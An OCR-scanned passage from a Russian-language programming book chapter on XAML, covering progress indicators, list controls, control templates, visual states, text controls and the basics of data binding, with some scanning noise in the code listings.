Но в пользовательском интерфейсе очень сложно спрогнози- ровать, как долго придется ждать, так как этот период зависит от факто- ров, которые клиентское приложение не может контролировать и даже измерять. Эти факторы связаны в основном с длительностью задержки в сети между клиентом и сервером. Такая задержка может существенно варьироваться, увеличиваясь в периоды высокой загрузки. Кроме того, они связаны с тем временем, которое требуется самому серверу на об- работку запроса, а это также зависит от степени загруженности систе- мы. При операциях такого рода, каждая из которых, в сущности, состоит всего из одного этапа, только очень медленного, вы можете установить 985
Глава 19 свойство Islndeterminate индикатора в значение true. В таком случае элемент управления будет лишь демонстрировать анимацию, означаю- щую, что что-то происходит, но не станет подсказывать, как далеко про- двинулась работа. Внешний вид такой «неопределенной» анимации в разных фреймворках отличается. В Windows 8 появился новый тип таких индикаторов, используемых в ситуациях неопределенной длительности. Эти индикаторы называ- ются ProgressRing. Такой индикатор выглядит не как прямоугольник, а представляет собой отдельные точки, движущиеся по кругу В реко- мендациях по дизайну от Microsoft указано, что ProgressRing следует использовать при операциях, во время которых пользователь не может продолжать работу, a ProgressBar — когда пользователь может продол- жать взаимодействовать с приложением в ходе такой длительной опе- рации. Списковые элементы управления В XAML определяется несколько элементов управления, которые могут представлять информационные коллекции. Все они наследуют от общего базового класса ItemsControl. Лишь два из этих элементов управ- ления доступны во всех XAML-фреймворках — ListBox и ComboBox. Они соответствуют проверенным времени одноименным элементам управ- ления (список и комбинированный список), которые применяются в Windows уже не одно десятилетие. Предполагается, что все читатели данной книги когда-либо работали с компьютером и уже освоили эти элементы управления как пользователи. Давайте теперь познакомимся с ними с точки зрения разработчика. В базовом классе ItemsControl определяется свойство Items. В эту коллекцию вы можете добавить любой объект, и элемент управления автоматически обернет каждый объект в соответствующий контейнер — например, ListBoxItem или ComboBoxItem. Такие элементы управления, служащие контейнерами для компонентов, обеспечивают нужное по- ведение и внешний вид для каждого из компонентов списка. Если вам требуется полный контроль над этими компонентами, вы можете предо- ставить такие контейнеры сами, а не полагаться на списковый элемент управления, который мог бы их длярас сгенерировать. В листинге 19.24 показано, как управлять горизонтальным выравниванием содержимого в отдельно взятом компоненте ListBox. 986
XAML Листинг 19.24. Предоставление явных контейнеров в элементе ListBox <ListBox> <ListBoxItem Content="First item" /> <ListBoxItem Content="Second item" HorizontalContentAlignment="Right" /> </ListBox> Обратите внимание: в XAML нет необходимости явно называть свой- ство Items. Когда вы помещаете компоненты в элемент для управления ими, компоненты автоматически добавляются к данной коллекции. ComboBox и ListBox не наследуют непосредственно от ItemsControl, а делают это через класс под названием Selector. Он определяет свой- ства Selectedltem и Selectedlndex, возвращающие компонент, выбран- ный в данный момент, и его положение в списке Items соответствен- но. Кстати, во фреймворке Windows Runtime все списковые элементы управления наследуют от Selector. Списковые элементы управления фреймворка Windows Runtime В приложениях, написанных в новом стиле Windows 8, ListBox ис- пользуется достаточно редко, так как существует альтернативный класс, оптимизированный для работы с сенсорными экранами. Он называет- ся Listview. Этот класс очень похож на ListBox, но он поддерживает и ориентированные на сенсорный экран виды взаимодействий. Напри- мер, он позволяет выбрать компонент жестом смахивания. Кроме того, стандартный внешний вид Listview позволяет ему лучше вписываться в контекст большинства приложений Windows 8 — так, у него не отрисо- вываются границы и фон. Структура приложений, написанных в таком стиле, определяется только выравниванием их элементов и разбивкой этих элементов, а не такими явными деталями, как поля и линии. Списковые элементы управления фреймворка WPF В WPF определяется несколько списковых элементов управления, отсутствующих в Windows Runtime, и лишь некоторые из них имеются в Silverlight и Windows Phone. Два из этих элементов я уже использовал выше, в листингах 19.18 и 19.19: StatusBar и Menu. StatusBar не очень ин- тересен — он просто применяет оформление, чтобы он сам и его содержи- мое выглядели как обычная статусная панель. Элемент управления Menu более интересен, так как он является иерархичным по своей природе. 987
Глава 19 Как и все элементы для управления содержимым, Menu имеет кон- тейнер для своих потомков, каждый из которых называется Menu Item. Но Menu Item сам по себе также является списковым элементом управления и может содержать собственные потомки (также относящиеся к типу Menuitem). TreeView и TreeViewItem работают по тому же принципу. Элемент Menu доступен только в WPF, так как представляет па- 4 ш нель меню такого рода, какие часто используются в локальных приложениях Windows. Но такое меню, как правило, не встре- чается в других окружениях, для которых разработаны дру- гие XAML-фреймворки. Treeview доступен в WPF и Silverlight. В Windows Phone и Windows Runtime этот элемент отсутствует, так как его очень неудобно использовать на сенсорном эк- ране. В WPF есть элемент управления Listview, который совершенно не похож на Listview из Windows Runtime. Listview из WPF наследует от ListBox и обладает возможностью многостолбцового представления данных, примерно как в окне Структура, где Windows Explorer отобра- жает содержимое каталога. WPF также предлагает более сложный, но и бблее гибкий списковый элемент управления, называемый DataGrid. Еще в WPF определяется элемент управления TabControl, в кото- ром содержатся компоненты Tabitem, позволяющие создавать пользова- тельский интерфейс со вкладками. Такой интерфейс, в частности, есть в окне Свойства в Windows Explorer, где выводятся свойства файла. Та- кое окно совсем не напоминает списковый элемент управления, но на программном уровне оно очень похоже на ListBox. Это коллекция ото- бражаемых сущностей, каждая из которых может быть выбрана в любой момент. Просто данный списковый элемент управления необычно вы- глядит. Итак, он является косвенно производным от ItemsControl, через тот же базовый класс Selector, что и ListBox. Шаблоны элементов управления Вы можете изменить внешний вид практически любого элемен- та управления XAML. Элементы управления всех типов выглядят по-своему, но внешний в^уцне является неотъемлемой частью самого элемента управления. Внешний вид обеспечивается особым объектом, который называется шаблон (template). Внешний вид можно менять, 988
XAML корректируя свойство Template элемента управления. В листинге 19.25 приведен код XAML для кнопки Button с настраиваемым шаблоном. На рис. 19.16 показано, как эте-выглядит. Листинг 19.25. Кнопка с шаблоном <Button Content="OK"> <Button.Template> <ControlTemplate TargetType="Button"> <Grid> <Rectangle Fill="#CCEEFF" Stroke="Green" StrokeThickness="10" RadiusX="15" RadiusY=n15" /> <ContentPresenter Margin="25" /> </Grid> </ControlTemplate> </Button.Template> </Button> □ Рис. 19.16. Кнопка с шаблоном Как видите, в качестве значения свойства мы задаем объект типа ControlTemplate. Он содержит XAML-код, определяющий внешний вид элементов управления. Обратите внимание на элемент Contentpresenter внутри шаблона. Он действует как заполнитель для подстановки свой- ства Content элемента управления. Всякий раз, когда вы определяете пользовательский шаблон для элемента управления содержимым, вы, как правило, добавляете элемент такого типа для указания того, где будет находиться содержимое (например, надпись на кнопке). Это не делается лишь в тех случаях, когда вы по каким-то причинам не хотите отобра- жать содержимое. Элементы управления, производные от ItemsControl, используют подобный подход: есть элемент ItemsPresenter, при помощи которого вы показываете, в какой части шаблона должны отображать- ся компоненты списка. Шаблоны элементов управления часто переис- пользуются. ControlTemplate фактически является фабричным объек- том, он может сгенерировать столько копий содержащегося в нем кода 989
Глава 19 XAML, сколько вы хотите. Листинг 19.25 применяется лишь к одному элементу управления, но гораздо чаще шаблоны элементов управления «упаковываются» в стиль и используются как его часть. В разделе «Сти- ли» будет показано, что такой подход позволяет с легкостью применять конкретный шаблон ко многим элементам управления. Привязки шаблонов Если шаблон элемента управления будет применяться ко многим та- ким элементам, то по возможности следует избегать жестко запрограмми- рованных деталей. Вы можете жестко закодировать надпись кнопки в ша- блон, но в таком случае данный шаблон можно будет применять лишь с кнопками, имеющими именно такую надпись. Поэтому мы используем элемент Contentpresenter — он позволяет одному шаблону работать с не- сколькими элементами управления, имеющими различное содержимое. У элементов управления есть и многие другие свойства, которые вы, возможно, захотите представить в шаблоне. Например, кнопка Button имеет свойства Background, BorderBrush и BorderThickness. Логично, что все эти свойства выполняют определенную функцию, но в шаблоне из листинга 19.25 цвет фона (Background) и цвет границ (BorderThickness) жестко запрограммированы и имеют соответственно голубой и зеленый оттенок. Толщина границ также фиксированная и составляет 10 пиксе- лов. Если в вашем шаблоне не выполняются явные операции, связан- ные с изменением этих свойств, они не окажут никакого эффекта. Един- ственная причина, по которой эти свойства «что-то делают» даже если вы не настраиваете кнопку, заключается в том, что по умолчанию ша- блон включает в себя код XAML, представляющий эти свойства. В ли- стинге 19.26 используется шаблон, в котором соблюдаются свойства именно с такими значениями. Листинг 19.26. Шаблон элемента управления с привязками <ControlTemplate TargetType="Button"> <Border Background^'(TemplateBinding Background}" BorderBrush="{TemplateBinding BorderBrush}" BorderThickness= "{TemplateBinding BorderThickness}" > <ContentPresenter Margin="{TemplateBinding Padding}" HorizontalAlignment= "{TemplateBinding HorizontalContentAlignment}" VerticalAlignment-- **
XAML "{TemplateBinding VerticalContentAlignment}" /> </Border> . </ControlTemplate> Суть примера заключается в значениях {TemplateBinding Ххх}. Фи- гурные скобки означают, что перед нами расширение разметки (markup extension). Это объект, прямо во время выполнения решающий, какое значение задать для свойства. Расширение разметки TemplateBinding под- ключает свое целевое свойство к именованному свойству того элемента управления, который является предком шаблона. Иными словами, уста- навливая свойство шаблонного элемента в значение {TemplateBinding Background}, мы гарантируем, что данное свойство будет иметь то же значение, что и свойство Background элемента управления, к которому был применен шаблон. Диспетчер визуальных состояний Для правильного представления конкретных свойств элементов управления недостаточно просто скопировать значение в соответству- ющее свойство шаблонного элемента. Например, у флажка CheckBox должно быть какое-то визуальное состояние, означающее, что в данный момент он «проставлен», а свойство IsChecked — это булевское значение bool, допускающее нуль и применяемое для поддержки операций с тре- мя состояниями, которые иногда требуется выполнять. Вы не можете ассоциировать три возможных значения — true, false и null — на три различных визуальных представления, просто копируя значение свой- ства IsChecked в шаблонный элемент. Возможна и более тонкая ситуация, в которой вы хотите, чтобы эле- менты управления изменяли внешний вид при наведении на них курсо- ра мыши или другого указательного устройства. Подобное изменение внешнего вида может потребоваться и при первом нажатии пальцем на кнопку — чтобы пользователь убедился, что элемент управления готов к взаимодействию с ним. Вы даже можете попробовать запускать анима- цию, чтобы при изменении состояния постепенно проявлять или посте- пенно убирать из вида фрагменты шаблона, либо менять цвет элемента в такой ситуации. Для реализации этих требований можно задавать прикрепляемое свойство VisualStateGroups, определяемое классом VisualStateManager. Оно позволяет задействовать анимации, отображаемые на экране в си- туациях, когда элемент управления переходит между различными со- 991
Глава 19 стояниями. Элемент управления каждого типа определяет набор со- стояний, которые в нем поддерживаются, обычно подразделяя эти состояния на группы. Например, кнопка Button определяет две группы состояний. Поэтому в любой момент времени она оказывается сразу в двух состояниях, выбирая по одному доступному варианту из каждой группы. В группе Commonstates, относящейся к кнопке, определяются со- стояния Normal, PointerOver*, Pressed и Disabled — они образуют группу потому, что в каждый момент времени кнопка может находиться лишь в одном из этих четырех состояний. Другая группа состояний кнопки называется FocusStates, она обычно содержит два состояния — Focused и Unfocused, к которым во фреймворке Windows Runtime добавляется третье, PointerFocused. Эти состояния разделяются на группы именно так, поскольку наличие или отсутствие фокуса у элемента управления не зависит от того, есть ли на нем указатель. Можно задать анимацию, которая будет отображаться всякий раз при переходе элемента управления в конкретное состояние. Также мож- но определить более специализированную анимацию, выполняемую лишь в момент выхода из одного состояния и перехода в другое. В ли- стинге 19.27 показано, как обеспечить постепенное появление части ша- блона кнопки на экране. Когда кнопка неактивна, эта часть совершенно прозрачная, когда нажата — матовая. Листинг 19.27. Анимация, связанная с изменением состояния cControlTemplate TargetType="Button"> <Grid> <VisualStateManager.VisualStateGroups> <VisualStateGroup x:Name="CommonStatesn> <VisualState x:Name="Normal" /> <VisualState x:Name="PointerOver"> </VisualState> <VisualState x:Name="Pressed"> <Storyboard> <DoubleAnimationUsingKeyFrames Storyboard .TargetProperty="Opacity" Storyboard .TargetName= * Так это свойство называется в Windows Runtime; в других XAML-фреймворках оно именуется MouseOver. 992
XAML , ”pressedBackgroundn> cLinearDoubleKeyFrame KeyTime="0:0:l" Value=”l'7> </DoubleAnimationUsingKeyFrames> </Storyboard> </VisualState> <VisualState x:Name="Disabled" /> </VisualStateGroup> <VisualStateGroup x:Name="FocusStates"> <VisualState x:Name="Focused" /> <VisualState x:Name="Unfocused"/> <VisualState x:Name="PointerFocused'7> </VisualStateGroup> </VisualStateManager.VisualStateGroups> <Rectangle x:Name="pressedBackground" Fill="#00FF00" Opacity="0'7> <ContentPresenter Margin="15" /> </Grid> </ControlTemplate> Единственный механизм, поддерживаемый в диспетчере визуаль- ных состояний для изменения свойств, — их анимирование. Правда, если вы хотите сразу же установить свойства в конкретные значения, то анимационная система позволяет сделать и это. «Дискретный» анима- ционный опорный кадр сразу же устанавливает свойство в нужное зна- чение, без интерполяции между промежуточными значениями. Такая операция может быть выполнена со свойством любого типа, в частности с такими типами, для которых интерполяция была бы бессмысленной. Таковы, например, свойства перечислимых типов. Пользовательские элементы управления Все элементы управления, рассмотренные выше, встроены во фрейм- ворк. Но вы можете писать и собственные элементы управления. Для этого нужно произвести класс от базового класса Control, а затем опре- делить шаблон, задаваемый по умолчанию. Взаимодействие между эле- ментом управления и его шаблоном достаточно сложное, его изучение выходит за рамки этой книги. Тем не менее существует гораздо более простая разновидность элементов управления, определяемых пользова- 993
Глава 19 телем. Они так и называются — пользовательские элементы управления (user controls). Пользовательский элемент управления наследует от базового клас- са UserControl и реализуется как XAML-файл с отделенным кодом. Вы пишете пользовательский элемент управления так же, как писали бы и любой другой XAML-файл — например, страницу или окно. В соста- ве Visual Studio есть шаблоны пользовательских элементов управления для всех XAML-фреймворков, поэтому совершенно не составляет труда добавить такой шаблон в проект. Как только вы напишете свой элемент управления, вы сможете использовать его из XAML точно так же, как любой встроенный элемент. Существуют две основные причины, по которым может быть целе- сообразно написать пользовательский элемент управления. Возможно, вы захотите создать фрагмент кода XAML для многократного исполь- зования, не исключено — что с каким-то сопутствующим отделенным кодом, так как планируете задействовать определенный фрагмент поль- зовательского интерфейса в нескольких точках вашего приложения. Другая причина — просто попытаться упростить ваши XAML-файлы. При создании объемных XAML-файлов легко допустить ошибку. На- пример, если поместить все необходимые детали в XAML-файле для главной страницы, то получится файл из тысяч строк кода. Я предпо- читаю держать высокоуровневые файлы, представляющие страницы или окна, максимально простыми — в идеале, чтобы целый XAML-файл был виден на экране без прокрутки. Чтобы так сделать, можно разбить пользовательский интерфейс на несколько пользовательских элементов управления, каждый из которых относится к своей части экрана. Так значительно упрощается совместный труд разработчиков. Вме- сто того чтобы натыкаться друг на друга, что неизбежно будет проис- ходить в едином огромном разделяемом XAML-файле, каждый раз- работчик может отдельно заниматься своей частью пользовательского интерфейса. В любом случае работать с огромными файлами исходного кода неудобно, даже если вы единственный вносите в них изменения. Текст Практически во всех пользовательских интерфейсах необходимо ра- ботать с текстом — как для отображения информации, так и для приема пользовательского ввода. XAML содержит простые элементы для пока- 994
XAML за и ввода текста, но в нем есть и более сложные и, соответственно, бо- лее гибкие механизмы. Сравнительно простые варианты согласованно применяются во всех XAML-фреймворках: вы отображаете текст в эле- менте TextBlock, а элемент управления TextBox обеспечивает редактиро- вание текста. Такие элементы обычно работают с совсем небольшими текстовыми фрагментами — из нескольких строк, в крайнем случае нескольких аб- зацев. Если требуется работать с более сложными текстовыми фрагмен- тами, то различия между фреймворками становятся более существен- ными. Отображение текста Элемент TextBlock обеспечивает простейший способ отображения текста. Это не элемент управления — он наследует непосредственно от FrameworkElement и в большинстве фреймворков не имеет неотъемлемого интерактивного поведения. В Windows Runtime он поддерживает выде- ление текста, если установить для него свойство IsTextSelectionEnabled. Несмотря на то что в результате он приобретает некоторую интерактив- ность, он все равно не похож на элемент управления, поскольку вы не можете настраивать его внешний вид при помощи шаблона. Самый про- стой способ использования TextBlock — задать его свойство Text, как по- казано в листинге 19.28. Листинг 19.28. Вывод простого текста с помощью элемента TextBlock <TextBlock Text="Hello, world" FontSize="36" FontFamily="Candara'’ /> Как видите, TextBlock имеет свойства для управления шрифтом и другого форматирования текста. Здесь показаны семейство и размер шрифта, а также имеются свойства Fontweight (жирный, светлый и т. д.), Fontstyle (курсив, наклонный или обычный) и Fontstretch (сжатый, узкий, расширенный и т. д.). Свойство Text — это просто удобный сокращенный вариант, полез- ный в тех случаях, когда вы хотите использовать единообразное фор- матирование для всего текстового фрагмента. Если немного плотнее поработать с TextBlock, можно приобрести гораздо более детальный контроль над форматированием. В листинге 19.29 текст является содер- жимым TextBlock. 995
Глава 19 Листинг 19.29. Элемент TextBlock с форматированием CTextBlock FontSize="36" FontFamily="Candara"> Text can have <Bold>several</Bold> <Span FontFamily="Segoe Script">styles</Span>. </TextBlock> С использованием содержимого, а не просто значения атрибута свя- зано следующее преимущество: в первом случае текст можно размечать. Я применил тег Bold только к одному слову, а также воспользовался Span для того, чтобы записать одно слово иной гарнитурой, нежели весь остальной текст. Вы также могли бы добавить элемент LineBreak, чтобы разбить содержимое на несколько строк. По умолчанию TextBlock будет разбивать текст на строки лишь в том случае, когда вы явно указываете разрывы строк. Но разбивку на строки можно сделать автоматической, установив свойство Textwrapping в зна- чение Wrap. Такая операция будет давать эффект, лишь если ширина тек- стового блока ограничена, поскольку программа должна знать, сколько пространства можно выделить для каждой строки. Выше я предполагал, что обычно лучше задавать подгонку размера текстовых элементов под их содержимое. Для текста, который достаточ- но короток и не требует заверстывания на новую строку, подгонка по содержимому как в горизонтальном, так и в вертикальном направлении обычно целесообразна. Если же текст достаточно велик и его необходи- мо разбить на несколько строк, то для этого вам потребуется ограничить ширину строк, а по вертикали можно будет оставить подгонку по со- держимому. Текстовые блоки и обтекание текстом Как понятно из названия, элемент TextBlock предназначен для ото- бражения единого текстового фрагмента. Но есть и другие элементы, в которых можно работать с несколькими фрагментами (блоками) тек- ста. В этом отношении между различными XAML-фреймворками на- блюдается небольшая вариативность. В WPF у нас есть класс, называемый FlowDocument. Он может содер- жать несколько элементов, производных от Block. Только один тип бло- ков может непосредственц^дрдержать текст: это Paragraph, в котором могут находиться все те же встроенные элементы, что и в TextBlock. Вы можете принудительно задавать для вашего текста определенные вари- 996
XAML анты компоновки, для этого применяются блочные типы Table и List. Любой текст, находящийся внутри таблицы или списка, должен распо- лагаться во вложенных элементах Paragraph. Еще существует элемент Section, который просто объединяет несколько блоков. По умолчанию он не оказывает никакого влияния на внешний вид вашего содержи- мого, но может быть полезен, если вы планируете применить к части текста определенные свойства форматирования. Любые настройки Section будут применяться и к потомкам этого элемента. В WPF также применяется элемент BlockUIContainer, в котором можно представлять нетекстовые элементы пользовательского интерфейса прямо посреди документа. Также существуют дополнительные встроенные элемен- ты, которые можно использовать внутри Paragraph, — они называются Figure и Floater. Данные элементы позволяют прикреплять к тексту вложенные фигуры, а текст будет обтекать эти включения. FlowDocument — просто контейнер для текстовых элементов. Он не является ни элементом управления, ни даже FrameworkElement, а потому и не может отображаться на экране. WPF предоставляет элемент управ- ления FlowDocumentReader, который может отображать содержимое до- кумента. Он имеет прокручиваемую область просмотра, работа с кото- рой напоминает просмотр HTML-текста в браузере. Он также позволяет разбивать документ на страницы нужного размера, в зависимости от того, сколько места предоставляет ваше приложение. Во фреймворках Windows Runtime и Silverlight также определяется класс Block, но эти фреймворки поддерживают лишь один производный от него тип: Paragraph. В Silverlight также допускается определение бло- ка типа Section, но не поддерживается использование такого блока из XAML. Таблицы, списки и фигуры недоступны, в этих фреймворках во- обще отсутствует непосредственная поддержка фигур или других пла- вающих элементов. Но в одном отношении данные фреймворки все же обладают значительной гибкостью, недоступной в WPF. Речь идет о воз- можностях компоновки текста на экране. Хотя ни в Windows Runtime, ни в Silverlight нет полноценного эквивалента FlowDocumentReader, вместо него они определяют элементы управления RichTextBlock и RichTextBlockOverflow, позволяющие вам задать на экране цепочку областей, в которые может попадать текст. Текст начинает заполнять первый элемент управления — RichTextBlock — и, как только займет его полностью, перейдет к первому RichTextBlockOverflow в цепочке, потом к следующему RichTextBlockOverflow и так далее, пока либо не будет отображен весь текст, либо не закончится свободное место. Так вы мо- 997
Глава 19 жете создавать макеты, в которых текст обтекает другие элементы — на- пример, фигуры. Это происходит несмотря на то, что специально пред- назначенные для того элементы, имеющиеся в WPF, здесь отсутствуют. Правда, вы утрачиваете следующую возможность: движок компоновки текста больше не может автоматически выбирать наилучшее местопо- ложение для ваших фигур. Фигуры приходится размещать вручную, а потом также вручную расставлять вокруг них блоки для размещения текста при переполнении. В Windows Phone 7 поддерживается такая же ограниченная блоч- ная модель, как и в Windows Runtime, и в Silverlight, но не предостав- ляется RichTextBlock и соответствующий блок на случай переполнения. Windows Phone поддерживает только блочную текстовую модель для редактирования текста. Редактирование текста Элемент управления TextBox применяется для редактирования зна- чений, записанных обычным текстом. По умолчанию он может редак- тировать лишь одиу строку текста. Но если вы установите его свойство AcceptsReturn в значение true, он сможет редактировать несколько строк. По умолчанию TextBox не пытается обрабатывать нажатие на кла- вишу Enter, так как в диалоговых окнах Windows действует соглашение, в соответствии с которым нажатие на клавишу Enter аналогично щелч- ку по кнопке ОК. Свойство Text позволяет получать или устанавливать текст в элементе управления. И WPF, и Windows Runtime поддерживают проверку правописания в TextBox, но делают это немного по-разному. WPF определяет прикре- пляемое свойство Spellcheck. IsEnabled, а элемент TextBox из Windows Runtime определяет совершенно обычное свойство IsSpellCheckEnabled. И в том и в другом случае текст, вводимый пользователем в это поле, будет проверяться на правописание в соответствии со словарем для данной локализации. Ошибки окажутся подчеркнуты точно такой же красной волнистой линией, какая используется в Microsoft Word. Щел- кнув по полю правой кнопкой мыши, вы открываете контекстное меню с вариантами исправления. В Windows Runtime для вывода этого меню достаточно просто коснуться пальцем олова на экране. Во всех XAML-фреймворках определяется похожий элемент управ- ления для ввода пароля — PasswordBox. В него можно вписывать текст, 998
XAML но этот текст отображается в виде последовательности точек, чтобы по- сторонний не мог подсмотреть через плечо пароль, вводимый пользова- телем. Кроме того, данный* элемент предоставляет доступ к вводимому тексту не через свойство Text, а через свойство Password. Разновидность этого элемента управления для Windows Runtime определяет свойство IsPasswordRevealButtonEnabled, которое добавляет специальную кнопку для показа введенного текста. Это полезно на устройствах с сенсорны- ми экранами, поскольку при вводе текста с виртуальной клавиатуры обычно допускается гораздо больше ошибок, чем при вводе с физиче- ской. На таких устройствах может быть очень неудобно вводить текст, не видя его. Ни TextBox, ни PasswordBox не поддерживают детального форматиро- вания. Вы можете указать настройки шрифта для всего элемента управ- ления в целом, но, в отличие от работы с TextBlock или RichTextfBlock, на этом ваши возможности ограничиваются. Но если вы хотите иметь сме- шанное форматирование в редактируемом тексте, то в WPF, Silverlight и Windows Phone для этой цели предоставляется элемент RichTextBox, а в Windows Runtime — похожий элемент управления под названием RichEditBox. Детали использования этих элементов управления суще- ственно различаются, даже в тех трех фреймворках, где этот элемент на- зывается одинаково. В WPF элемент управления RichTextBox редактирует FlowDocument, предоставляемый через свойство Document. На внутрисистемном уров- не насыщенный текст (RTF) не используется, поэтому данный элемент управления действительно назван немного неудачно. Но поскольку в Windows за редактируемым текстовым полем, в котором поддержива- ется форматирование, на протяжении многих лет используется назва- ние «rich text box», в WPF оно было оставлено без изменений, пусть та- кие поля и не поддерживают одноименный формат данных. Кроме того, RTF действительно поддерживается здесь как один из форматов буфера обмена, то есть тут насыщенный текст не является просто базовой моде- лью, в отличие от случая с полем для насыщенного текста в Win32. В других XAML-фреймворках редактируемый текст приходится представлять немного иначе, так как в них нет класса FlowDocument. Эле- менты управления RichTextBox и в Silverlight, и в Windows Phone об- ладают свойством Blocks, которое представляет коллекцию элементов, производных от Block. Поскольку класс FlowDocument из WPF — просто контейнер для последовательности блочных* элементов, принципиаль- ная разница здесь отсутствует. Просто код для работы с этими элемен- 999
Глава 19 тами управления в остальных фреймворках отличается от аналогичного кода в WPF. Разумеется, WPF поддерживает и более широкий спектр блочных типов, и его поле RichTextBox рассчитано на работу с ними, так что редактор из WPF чуть более мощный. RichEditBox (элемент управления Windows Runtime для редактиро- вания форматируемого текста) определяет свойство Document, поэтому он больше похож на аналогичное поле из WPF, чем соответствующие элементы из Silverlight и Windows Phone. Тем не менее Windows Runtime не поддерживает тип FlowDocument из WPF. Напротив, рассматриваемое свойство относится к типу ITextDocument. Это интерфейс, позволяющий вам получать информацию из документа, преобразовывать ее в потоки ввода/вывода в других форматах и изменять форматирование. Ни в одном из этих элементов управления для редактирования тек- ста вы не найдете кнопок или других графических элементов для форма- тирования. RichTextBox из WPF поддерживает ряд клавиатурных ком- бинаций для этой цели (например, Ctrl+B для жирного шрифта, Ctrl+I для курсива и т. д.). В других фреймворках такие горячие клавиши не работают. Так что, если вы желаете обеспечить полномасштабную под- держку форматирования текста в этих полях, вам придется самостоя- тельно добавить нужные кнопки и подключить их к коду, который мани- пулирует текстом. Это нетривиальная задача, она по-разному решается в каждом отдельном фреймворке и выходит за рамки данной главы. Привязка данных Привязка данных (data binding) — это важнейшая возможность в большинстве приложений, написанных на основе XAML. Если вы хотите писать код, который будет удобно поддерживать, то необходи- мо сохранять определенное размежевание между логикой приложения и пользовательским интерфейсом. Механизм работы с отделенным ко- дом на самом деле не обеспечивает такого разделения — отделенный код обладает непосредственным доступом к элементам пользовательского интерфейса, а потому возникает неразрывная связь этого кода и XAML. Вы не сможете писать по-настоящему изолированные модульные тесты для каких-либо аспектов отделенного кода, поскольку не сможете соз- дать в отделенном коде ни одного класса, не загружая при этом XAML. Таким образом, придется работать в среде, которая поддерживает за- грузку элементов пользовательского интерфейса, а такая поддержка ха- рактерна уже для этапа интеграционногоТеСтирования. 1000
XAML Уже довольно давно существует распространенный шаблон, обеспе- чивающий эффективное модульное тестирование кода, управляющего работой элементов пользовательского интерфейса. Этот шаблон известен в разных вариантах, в частности раздельное представление, модель-представление-презентатор или модель пред- ставления. Они не идентичны — каждая из разновидностей отличается от других в деталях, но базовая идея одинакова: поведение пользова- тельского интерфейса трактуется как самостоятельная область работы, отделяемая как от логики предметной области, так и от управления дета- лями объектов, непосредственно представляющих графические элемен- ты. У нас обязательно должна быть возможность написать такой тест, который, например, позволяет убедиться, что как только пользователь нажмет на определенную кнопку, все введенные им данные будут вали- дированы и все ошибки валидации — отражены в графическом интер- фейсе. Конечно, существуют тестировочные фреймворки, позволяющие автоматизировать подобную работу и управляющие пользовательским интерфейсом за вас. Но вы значительно упростите себе жизнь, если сможете валидировать такую логику без загрузки пользовательского интерфейса и без необходимости подключения к реальному машин- ному интерфейсу. Поэтому обычно бывает целесообразно выстраивать в приложениях с пользовательским интерфейсом такие уровни и в та- ком порядке, как это показано на рис. 19.17. Возможно, вам потребуется более дробная система — здесь я демонстрирую лишь общий план всей структуры. Рис. 19.17. Уровни приложения с пользовательским интерфейсом В приложении, основанном на XAML, в левой рамке будут содер- жаться как разметка XAML, так и соответствующий ей отделенный код. Привязка данных позволяет подключить ее к средней рамке. Вы можете не писать отделенный код, который переносит данные от представления к среднему уровню, так как привязка данных автоматически выполня- ет большую часть этой работы. Если вы используете привязку данных именно таким образом, то средний уровень принято называть моделью представления. 1001
Глава 19 Механизм, лежащий в основе привязки данных, совершенно прост: здесь мы всего лишь подключаем свойства XAML-элементов к свой- ствам определенного объекта-источника. В качестве источника данных вы можете использовать любой объект .NET. Достаточно будет даже та- кого простого класса, который показан в листинге 19.30. Листинг 19.30. Простой источник данных public class Person { public string Name { get; set; } public double Age { get; set; } } Вам всего лишь нужно поместить этот источник информации в та- кое место, где система привязки данных сможет его увидеть. У всех эле- ментов XAML есть свойство, называемое DataContext; оно применяется именно для этой цели. Все, что вы записываете в свойство DataContext определенногоьэлемента, превращается в источник потенциальных при- вязок данных, которые может иметь элемент. Если вы не зададите свой- ство DataContext для конкретного элемента, он просто воспользуется таким свойством своего предка (а если и оно не установлено — то свой- ством предка предка и т. д.). Поэтому DataContext фактически каскади- рует через все дерево элементов пользовательского интерфейса. Задавая BataContext для корневого элемента, вы фактически задаете его для всех элементов пользовательского интерфейса (за исключением тех, для ко- торых вы явно укажете иное значение DataContext). Поэтому я мог бы предоставить доступ к классу из листинга 19.30 сразу со всей страницы, просто внеся в мой класс в отделенном коде очень простые изменения, выделенные жирным шрифтом. Листинг 19.31. Добавление DataContext public sealed partial class MainPage Page { public Person _src = new Person { Name = "Ian", Age = 38 }; public MainPage() { InitializeComponent(); DataContext = src;
XAML Имея такой код, я вполне могу использовать в XAML выражения для привязки данных — например, такое, как показано в листинге 19.32. Листинг 19.32. Выражение для привязки данных CTextBlock Text="{Binding Path=Name}" /> При загрузке пользовательского интерфейса этот код будет считы- вать значение объекта-источника и выводить его. Привязки могут быть и двунаправленными, как показано в листинге 19.33. Листинг 19.33. Двунаправленная привязка данных CTextBox Text=,‘{Binding Path=Name, Mode=TwoWay}" /> В TextBox мы можем и отображать, и редактировать текст. Уста- навливая свойство привязки Mode в значение TwoWay, я*сообщаю систе- ме привязки данных, что хочу не только считать исходное значение из объекта-источника, но и обновить объект-источник, если пользователь укажет для него новое значение. В WPF нет необходимости указывать здесь свойство Mode, так как свойство Text элемента TextBox по умолчанию задает дву- 3*5 направленную привязку данных. Классы элементов могут со- общать WPF, для каких из их свойств требуется так делать, по- этому вам придется указывать режим лишь в случае, когда вы желаете переопределить значение, заданное по умолчанию. Например, я бы так поступил, если бы не хотел отображать в TextBox исходное значение. Другие XAML-фреймворки обла- дают немного иными системами свойств, нежели WPF. В них свойство не может напрямую объявлять свой режим привязки данных, действующий по умолчанию, поэтому при создании все привязки являются однонаправленными (Oneway). Система привязки данных может автоматически обновлять пользо- вательский интерфейс, как только состояние каких-либо свойств в ва- шем источнике данных изменится по сравнению с тем, каким оно было на момент изначальной загрузки пользовательского интерфейса. Обще- языковая среда выполнения не предоставляет никакого универсального способа, который позволял бы обнаруживать изменение свойства. Поэ- тому если вы желаете пользоваться такой возможностью, то необходи- мо добавить поддержку для нее в вашем источнике данных. Библиотека классов .NET Framework определяет интерфейс для оповещения об из- 1003
